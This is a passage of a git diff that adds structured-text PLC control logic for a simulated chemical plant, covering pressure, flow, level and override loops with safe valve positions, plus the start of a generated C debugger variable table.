over_sp_c : UINT := 31675; + level_sp_c : UINT := 28835; + END_VAR + VAR_OUTPUT + flow_sp : UINT; + a_sp : UINT; + press_sp : UINT; + over_sp : UINT; + level_sp : UINT; + END_VAR + VAR + MOVE3_OUT : UINT; + MOVE7_OUT : UINT; + MOVE11_OUT : UINT; + MOVE15_OUT : UINT; + MOVE19_OUT : UINT; + END_VAR + + MOVE3_OUT := MOVE(a_sp_c); + a_sp := MOVE3_OUT; + MOVE7_OUT := MOVE(flow_sp_c); + flow_sp := MOVE7_OUT; + MOVE11_OUT := MOVE(over_sp_c); + over_sp := MOVE11_OUT; + MOVE15_OUT := MOVE(level_sp_c); + level_sp := MOVE15_OUT; + MOVE19_OUT := MOVE(press_sp_c); + press_sp := MOVE19_OUT; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK pressure_control + VAR + pressure_real : REAL := 2700.0; + END_VAR + VAR_INPUT + pressure : UINT := 58981; + END_VAR + VAR + pressure_sp_real : REAL := 2700.0; + END_VAR + VAR_INPUT + pressure_sp : UINT := 58981; + curr_pos : UINT := 30000; + END_VAR + VAR + valve_pos_real : REAL := 39.25; + pos_update_real : REAL := 0.0; + valve_pos_nominal : REAL := 39.25; + END_VAR + VAR_OUTPUT + valve_pos : UINT := 25886; + END_VAR + VAR + pressure_k : REAL := 20.0; + pressure_ti : REAL := 999.0; + cycle_time : TIME := T#50ms; + scale_to_real5 : scale_to_real; + scale_to_real4 : scale_to_real; + scale_to_uint0 : scale_to_uint; + pressure_max : REAL := 3200.00; + pressure_min : REAL := 0.0; + pos_min : REAL := 0.0; + pos_max : REAL := 100.0; + scale_to_real0 : scale_to_real; + SUB57_OUT : REAL; + MUL60_OUT : REAL; + SUB53_OUT : REAL; + LIMIT55_OUT : REAL; + END_VAR + + scale_to_real5(raw_input_value := pressure, real_max := pressure_max, real_min := pressure_min); + pressure_real := scale_to_real5.scaled_real; + scale_to_real4(raw_input_value := pressure_sp, real_max := pressure_max, real_min := pressure_min); + pressure_sp_real := scale_to_real4.scaled_real; + SUB57_OUT := SUB(pressure_sp_real, pressure_real); + MUL60_OUT := MUL(SUB57_OUT, pressure_k); + pos_update_real := MUL60_OUT; + scale_to_real0(raw_input_value := curr_pos, real_max := pos_max, real_min := pos_min); + valve_pos_real := scale_to_real0.scaled_real; + SUB53_OUT := SUB(valve_pos_real, pos_update_real); + LIMIT55_OUT := LIMIT(pos_min, SUB53_OUT, pos_max); + scale_to_uint0(real_in := LIMIT55_OUT); + valve_pos := scale_to_uint0.uint_out; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK flow_control + VAR + flow_k : REAL := 1.0; + flow_ti : REAL := 999.0; + flow_td : REAL := 0.0; + END_VAR + VAR_INPUT + product_flow : UINT := 6554; + END_VAR + VAR + product_flow_real : REAL := 100.0; + cycle_time : TIME := T#50ms; + pos_update_real : REAL := 0.0; + curr_pos_real : REAL := 60.9; + END_VAR + VAR_OUTPUT + new_pos : UINT := 35000; + END_VAR + VAR_INPUT + curr_pos : UINT := 35000; + END_VAR + VAR + flow_set_real : REAL := 100.0; + END_VAR + VAR_INPUT + flow_set_in : UINT := 6554; + END_VAR + VAR + scale_to_real0 : scale_to_real; + scale_to_real1 : scale_to_real; + flow_max : REAL := 500.0; + flow_min : REAL := 0.0; + pos_min : REAL := 0.0; + pos_max : REAL := 100.0; + scale_to_real2 : scale_to_real; + scale_to_uint0 : scale_to_uint; + SUB59_OUT : REAL; + MUL60_OUT : REAL; + ADD58_OUT : REAL; + LIMIT40_OUT : REAL; + END_VAR + + scale_to_real0(raw_input_value := product_flow, real_max := flow_max, real_min := flow_min); + product_flow_real := scale_to_real0.scaled_real; + scale_to_real1(raw_input_value := flow_set_in, real_max := flow_max, real_min := flow_min); + flow_set_real := scale_to_real1.scaled_real; + SUB59_OUT := SUB(flow_set_real, product_flow_real); + MUL60_OUT := MUL(SUB59_OUT, flow_k); + pos_update_real := MUL60_OUT; + scale_to_real2(raw_input_value := curr_pos, real_max := pos_max, real_min := pos_min); + curr_pos_real := scale_to_real2.scaled_real; + ADD58_OUT := ADD(curr_pos_real, pos_update_real); + LIMIT40_OUT := LIMIT(pos_min, ADD58_OUT, pos_max); + scale_to_uint0(real_in := LIMIT40_OUT); + new_pos := scale_to_uint0.uint_out; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK level_control + VAR_INPUT + liquid_level : UINT; + level_sp : UINT := 30000; + curr_pos : UINT; + END_VAR + VAR_OUTPUT + new_pos : UINT; + END_VAR + VAR + cycle_time : TIME := T#50ms; + level_k : REAL := 10.0; + level_ti : REAL := 99999.0; + scale_to_real0 : scale_to_real; + level_max : REAL := 100.0; + level_min : REAL := 0.0; + pos_max : REAL := 100.0; + pos_min : REAL := 0.0; + level_real : REAL := 44.18; + pos_real : REAL := 47.0; + pos_update_real : REAL := 0.0; + sp_real : REAL := 44.18; + scale_to_real1 : scale_to_real; + scale_to_real2 : scale_to_real; + scale_to_uint0 : scale_to_uint; + SUB32_OUT : REAL; + MUL33_OUT : REAL; + SUB30_OUT : REAL; + LIMIT25_OUT : REAL; + END_VAR + + scale_to_real0(raw_input_value := liquid_level, real_max := level_max, real_min := level_min); + level_real := scale_to_real0.scaled_real; + scale_to_real1(raw_input_value := curr_pos, real_max := pos_max, real_min := pos_min); + pos_real := scale_to_real1.scaled_real; + scale_to_real2(raw_input_value := level_sp, real_max := level_max, real_min := level_min); + sp_real := scale_to_real2.scaled_real; + SUB32_OUT := SUB(sp_real, level_real); + MUL33_OUT := MUL(SUB32_OUT, level_k); + pos_update_real := MUL33_OUT; + SUB30_OUT := SUB(pos_real, pos_update_real); + LIMIT25_OUT := LIMIT(pos_min, SUB30_OUT, pos_max); + scale_to_uint0(real_in := LIMIT25_OUT); + new_pos := scale_to_uint0.uint_out; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK pressure_override + VAR + pressure_real : REAL := 2700.0; + END_VAR + VAR_INPUT + pressure : UINT := 58981; + curr_sp : UINT := 58981; + END_VAR + VAR + curr_sp_real : REAL := 2700.0; + product_sp_real : REAL := 100.0; + sp_update : REAL := 0.0; + product_sp_nominl : REAL := 100.0; + END_VAR + VAR_OUTPUT + product_sp : UINT := 13107; + END_VAR + VAR + override_sp_real : REAL := 2900.0; + END_VAR + VAR_INPUT + override_sp : UINT := 63350; + END_VAR + VAR + override_k : REAL := 1.0; + override_ti : REAL := 99999.0; + cycle_time : TIME := T#50ms; + scale_to_real7 : scale_to_real; + pressure_max : REAL := 3000.0; + pressure_min : REAL := 0.0; + flow_max : REAL := 500.0; + flow_min : REAL := 0.0; + scale_to_real0 : scale_to_real; + SUB86_OUT : REAL; + MUL87_OUT : REAL; + MAX84_OUT : REAL; + ADD85_OUT : REAL; + LIMIT67_OUT : REAL; + DIV73_OUT : REAL; + MUL75_OUT : REAL; + REAL_TO_UINT79_OUT : UINT; + END_VAR + + scale_to_real7(raw_input_value := pressure, real_max := pressure_max, real_min := pressure_min); + pressure_real := scale_to_real7.scaled_real; + SUB86_OUT := SUB(override_sp_real, pressure_real); + MUL87_OUT := MUL(SUB86_OUT, override_k); + MAX84_OUT := MAX(MUL87_OUT, 0.0); + sp_update := MAX84_OUT; + scale_to_real0(raw_input_value := curr_sp, real_max := flow_max, real_min := flow_min); + curr_sp_real := scale_to_real0.scaled_real; + ADD85_OUT := ADD(curr_sp_real, sp_update); + LIMIT67_OUT := LIMIT(50.0, ADD85_OUT, 150.0); + product_sp_real := LIMIT67_OUT; + DIV73_OUT := DIV(product_sp_real, 500.0); + MUL75_OUT := MUL(DIV73_OUT, 65535.0); + REAL_TO_UINT79_OUT := REAL_TO_UINT(MUL75_OUT); + product_sp := REAL_TO_UINT79_OUT; +END_FUNCTION_BLOCK + +PROGRAM main + VAR + flow_control0 : flow_control; + first_run : BOOL := True; + END_VAR + VAR + flow_set : UINT; + a_setpoint : UINT; + pressure_sp : UINT; + override_sp : UINT; + level_sp : UINT; + END_VAR + VAR + composition_control0 : composition_control; + END_VAR + VAR + f1_valve_pos : UINT; + f1_flow : UINT; + f2_valve_pos : UINT; + f2_flow : UINT; + purge_valve_pos : UINT; + purge_flow : UINT; + product_valve_pos : UINT; + product_flow : UINT; + pressure : UINT; + level : UINT; + a_in_purge : UINT; + b_in_purge : UINT; + c_in_purge : UINT; + f1_valve_sp : UINT; + f2_valve_sp : UINT; + purge_valve_sp : UINT; + product_valve_sp : UINT; + END_VAR + VAR + product_valve_safe : UINT := 0; + purge_valve_safe : UINT := 65535; + f1_valve_safe : UINT; + f2_valve_safe : UINT; + pressure_control0 : pressure_control; + END_VAR + VAR + hmi_pressure : INT; + hmi_level : INT; + hmi_f1_valve_pos : INT; + hmi_f1_flow : INT; + hmi_f2_valve_pos : INT; + hmi_f2_flow : INT; + hmi_purge_valve_pos : INT; + hmi_purge_flow : INT; + hmi_product_valve_pos : INT; + hmi_product_flow : INT; + scan_count : UINT; + END_VAR + VAR + pressure_override0 : pressure_override; + level_control0 : level_control; + END_VAR + VAR + run_bit : BOOL; + END_VAR + VAR + run_bit0 : BOOL := True; + initialize_sp0 : initialize_sp; + MOVE99_ENO : BOOL; + MOVE99_OUT : UINT; + MOVE4_ENO : BOOL; + MOVE4_OUT : UINT; + MOVE5_ENO : BOOL; + MOVE5_OUT : UINT; + MOVE7_ENO : BOOL; + MOVE7_OUT : UINT; + END_VAR + + initialize_sp0(EN := first_run); + IF initialize_sp0.ENO THEN + first_run := FALSE; (*reset*) + END_IF; + IF initialize_sp0.ENO THEN + flow_set := initialize_sp0.flow_sp; + END_IF; + IF initialize_sp0.ENO THEN + a_setpoint := initialize_sp0.a_sp; + END_IF; + IF initialize_sp0.ENO THEN + pressure_sp := initialize_sp0.press_sp; + END_IF; + IF initialize_sp0.ENO THEN + override_sp := initialize_sp0.over_sp; + END_IF; + IF initialize_sp0.ENO THEN + level_sp := initialize_sp0.level_sp; + END_IF; + flow_control0(product_flow := product_flow, curr_pos := f1_valve_pos, flow_set_in := flow_set); + f1_valve_sp := flow_control0.new_pos; + pressure_control0(pressure := pressure, pressure_sp := pressure_sp, curr_pos := purge_valve_pos); + purge_valve_sp := pressure_control0.valve_pos; + composition_control0(a_in_purge := a_in_purge, a_setpoint := a_setpoint, curr_pos := f2_valve_pos); + f2_valve_sp := composition_control0.new_pos; + pressure_override0(pressure := pressure, curr_sp := flow_set, override_sp := override_sp); + flow_set := pressure_override0.product_sp; + level_control0(liquid_level := level, level_sp := level_sp, curr_pos := product_valve_pos); + product_valve_sp := level_control0.new_pos; + MOVE99_OUT := MOVE(EN := run_bit, IN := 0, ENO => MOVE99_ENO); + IF MOVE99_ENO THEN + f1_valve_sp := MOVE99_OUT; + END_IF; + MOVE4_OUT := MOVE(EN := MOVE99_ENO, IN := 0, ENO => MOVE4_ENO); + IF MOVE4_ENO THEN + f2_valve_sp := MOVE4_OUT; + END_IF; + MOVE5_OUT := MOVE(EN := MOVE4_ENO, IN := 65535, ENO => MOVE5_ENO); + IF MOVE5_ENO THEN + purge_valve_sp := MOVE5_OUT; + END_IF; + MOVE7_OUT := MOVE(EN := MOVE5_ENO, IN := 65535, ENO => MOVE7_ENO); + IF MOVE7_ENO THEN + product_valve_sp := MOVE7_OUT; + END_IF; +END_PROGRAM + + +CONFIGURATION Config0 + + RESOURCE Res0 ON PLC + TASK MainTask(INTERVAL := T#50ms,PRIORITY := 0); + PROGRAM instance0 WITH MainTask : main; + END_RESOURCE +END_CONFIGURATION diff --git a/plc/GRFICS_Workstation_Docs/Documents/chemical/build/plc_debugger.c b/plc/GRFICS_Workstation_Docs/Documents/chemical/build/plc_debugger.c new file mode 100644 index 0000000..a53d9ea --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/chemical/build/plc_debugger.c @@ -0,0 +1,730 @@ +/* + * DEBUGGER code + * + * On "publish", when buffer is free, debugger stores arbitrary variables + * content into, and mark this buffer as filled + * + * + * Buffer content is read asynchronously, (from non real time part), + * and then buffer marked free again. + * + * + * */ +#ifdef TARGET_DEBUG_AND_RETAIN_DISABLE + +void __init_debug (void){} +void __cleanup_debug (void){} +void __retrieve_debug(void){} +void __publish_debug (void){} + +#else + +#include "iec_types_all.h" +#include "POUS.h" +/*for memcpy*/ +#include +#include + +#ifndef TARGET_ONLINE_DEBUG_DISABLE +#define BUFFER_SIZE 1029 + +/* Atomically accessed variable for buffer state */ +#define BUFFER_FREE 0 +#define BUFFER_BUSY 1 +static long buffer_state = BUFFER_FREE; + +/* The buffer itself */ +char debug_buffer[BUFFER_SIZE]; + +/* Buffer's cursor*/ +static char* buffer_cursor = debug_buffer; +#endif + +static unsigned int retain_offset = 0; +/*** + * Declare programs + **/ +extern MAIN RES0__INSTANCE0; + +/*** + * Declare global variables from resources and conf + **/ +extern MAIN RES0__INSTANCE0; + +typedef const struct { + void *ptr; + __IEC_types_enum type; +} dbgvardsc_t; + +static dbgvardsc_t dbgvardsc[] = { +{&(RES0__INSTANCE0.FLOW_CONTROL0.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.FLOW_K), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.FLOW_TI), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.FLOW_TD), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.PRODUCT_FLOW), UINT_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.PRODUCT_FLOW_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.CYCLE_TIME), TIME_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.POS_UPDATE_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.CURR_POS_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.NEW_POS), UINT_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.CURR_POS), UINT_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.FLOW_SET_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.FLOW_SET_IN), UINT_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.RAW_INPUT_VALUE), UINT_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.SCALED_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.REAL_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.REAL_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.RAW_MAX), UINT_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.RAW_MIN), UINT_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.RATE), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.OFFSET), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.RAW_INPUT_VALUE), UINT_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.SCALED_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.REAL_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.REAL_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.RAW_MAX), UINT_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.RAW_MIN), UINT_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.RATE), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.OFFSET), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.FLOW_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.FLOW_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.POS_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.POS_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.RAW_INPUT_VALUE), UINT_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.SCALED_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.REAL_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.REAL_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.RAW_MAX), UINT_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.RAW_MIN), UINT_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.RATE), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.OFFSET), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.REAL_IN), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.UINT_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.DIV1_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.MUL4_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.REAL_TO_UINT6_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SUB59_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.MUL60_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.ADD58_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.LIMIT40_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.FIRST_RUN), BOOL_ENUM}, +{&(RES0__INSTANCE0.FLOW_SET), UINT_ENUM}, +{&(RES0__INSTANCE0.A_SETPOINT), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_SP), UINT_ENUM}, +{&(RES0__INSTANCE0.OVERRIDE_SP), UINT_ENUM}, +{&(RES0__INSTANCE0.LEVEL_SP), UINT_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.A_IN_PURGE_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.A_IN_PURGE), UINT_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.A_SETPOINT_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.A_SETPOINT), UINT_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.CURR_POS), UINT_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.VALVE_POS_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.POS_UPDATE_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.VALVE_POS_NOMINAL), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.NEW_POS), UINT_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.COMPOSITION_K), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.COMPOSITION_TI), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.CYCLE_TIME), TIME_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.RAW_INPUT_VALUE), UINT_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.SCALED_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.REAL_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.REAL_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.RAW_MAX), UINT_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.RAW_MIN), UINT_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.RATE), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.OFFSET), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.RAW_INPUT_VALUE), UINT_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.SCALED_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.REAL_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.REAL_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.RAW_MAX), UINT_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.RAW_MIN), UINT_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.RATE), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.OFFSET), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.REAL_IN), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.UINT_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.DIV1_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.MUL4_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.REAL_TO_UINT6_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.COMP_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.COMP_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.POS_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.POS_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.RAW_INPUT_VALUE), UINT_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.SCALED_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.REAL_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.REAL_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.RAW_MAX), UINT_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.RAW_MIN), UINT_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.RATE), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.OFFSET), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SUB45_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.MUL46_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.ADD42_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.LIMIT44_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.F1_VALVE_POS), UINT_ENUM}, +{&(RES0__INSTANCE0.F1_FLOW), UINT_ENUM}, +{&(RES0__INSTANCE0.F2_VALVE_POS), UINT_ENUM}, +{&(RES0__INSTANCE0.F2_FLOW), UINT_ENUM}, +{&(RES0__INSTANCE0.PURGE_VALVE_POS), UINT_ENUM}, +{&(RES0__INSTANCE0.PURGE_FLOW), UINT_ENUM}, +{&(RES0__INSTANCE0.PRODUCT_VALVE_POS), UINT_ENUM}, +{&(RES0__INSTANCE0.PRODUCT_FLOW), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE), UINT_ENUM}, +{&(RES0__INSTANCE0.LEVEL), UINT_ENUM}, +{&(RES0__INSTANCE0.A_IN_PURGE), UINT_ENUM}, +{&(RES0__INSTANCE0.B_IN_PURGE), UINT_ENUM}, +{&(RES0__INSTANCE0.C_IN_PURGE), UINT_ENUM}, +{&(RES0__INSTANCE0.F1_VALVE_SP), UINT_ENUM}, +{&(RES0__INSTANCE0.F2_VALVE_SP), UINT_ENUM}, +{&(RES0__INSTANCE0.PURGE_VALVE_SP), UINT_ENUM}, +{&(RES0__INSTANCE0.PRODUCT_VALVE_SP), UINT_ENUM}, +{&(RES0__INSTANCE0.PRODUCT_VALVE_SAFE), UINT_ENUM}, +{&(RES0__INSTANCE0.PURGE_VALVE_SAFE), UINT_ENUM}, +{&(RES0__INSTANCE0.F1_VALVE_SAFE), UINT_ENUM}, +{&(RES0__INSTANCE0.F2_VALVE_SAFE), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.PRESSURE_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.PRESSURE), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.PRESSURE_SP_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.PRESSURE_SP), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.CURR_POS), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.VALVE_POS_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.POS_UPDATE_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.VALVE_POS_NOMINAL), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.VALVE_POS), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.PRESSURE_K), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.PRESSURE_TI), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.CYCLE_TIME), TIME_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.RAW_INPUT_VALUE), UINT_ENUM}, 